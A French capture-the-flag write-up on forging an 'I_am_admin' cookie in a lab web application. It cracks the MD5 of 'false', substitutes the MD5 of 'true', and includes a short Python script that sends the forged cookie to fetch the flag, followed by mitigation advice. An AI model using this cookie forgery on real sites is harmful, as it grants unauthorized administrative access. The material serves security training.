Changing the admin cookie

EXPLICATION

Comme relevé en énumération (voir ENUMERATION - partie 13), on a remarqué un cookie intéressant transmis à l'application web à chaque requête :

```
1  GET /index.php?page=signin&username=test&password=test&Login=Login HTTP/1.1
2  Host: 192.168.1.37
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
4  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate
7  Referer: http://192.168.1.37/index.php?page=signin
8  Cookie: I_am_admin=68934a3e9455fa72420237eb05902327
9  Connection: close
10 Upgrade-Insecure-Requests: 1
```

Le hash qui représente la valeur de ce cookie I_am_admin ressemble fortement à du MD5 (confirmé par **hash-identifier**).

Pour décrypter ce hash, on dispose de 3 options (les mêmes que pour le crack du hash de /whatever/htpasswd, voir **Crack_Htpasswd_Hash**) :

> Une **rainbow table** en ligne (crackstation...).
> **John The Ripper** / **Hashcat**.
> Notre script de bruteforce personnalisé.

Quelle que soit la méthode employée, cela nous révèle que le hash correspond au MD5 du string "**false**". De là, on génère le hash MD5 du string "**true**", et on le remplace dans le cookie après avoir intercepté une requête (par exemple avec Burp).

On récupère un **flag** sur la page de réponse générée.

REMARQUE : on a placé dans les Ressources un petit script qui fait ça automatiquement. Le texte de la réponse nous affiche le flag, sur la toute première ligne.

```
import requests
import hashlib

admin_cookie = hashlib.md5("true".encode()).hexdigest()
cookies = {'I_am_admin': admin_cookie}
r = requests.get('http://192.168.1.37/index.php', cookies=cookies)
print(r.text)
```

RESSOURCES

Un fichier avec le hash MD5 originel du cookie (MD5 de "false") ; un script permettant d'envoyer la requête avec le hash MD5 modifié et d'afficher la page avec le flag ; le script md5decrypt.py.

MITIGATION

> Utiliser des tokens sécurisés pour gérer les droits utilisateurs, comme des JWT.
> Utiliser des encryptions plus robustes que du MD5 pour les valeurs à protéger.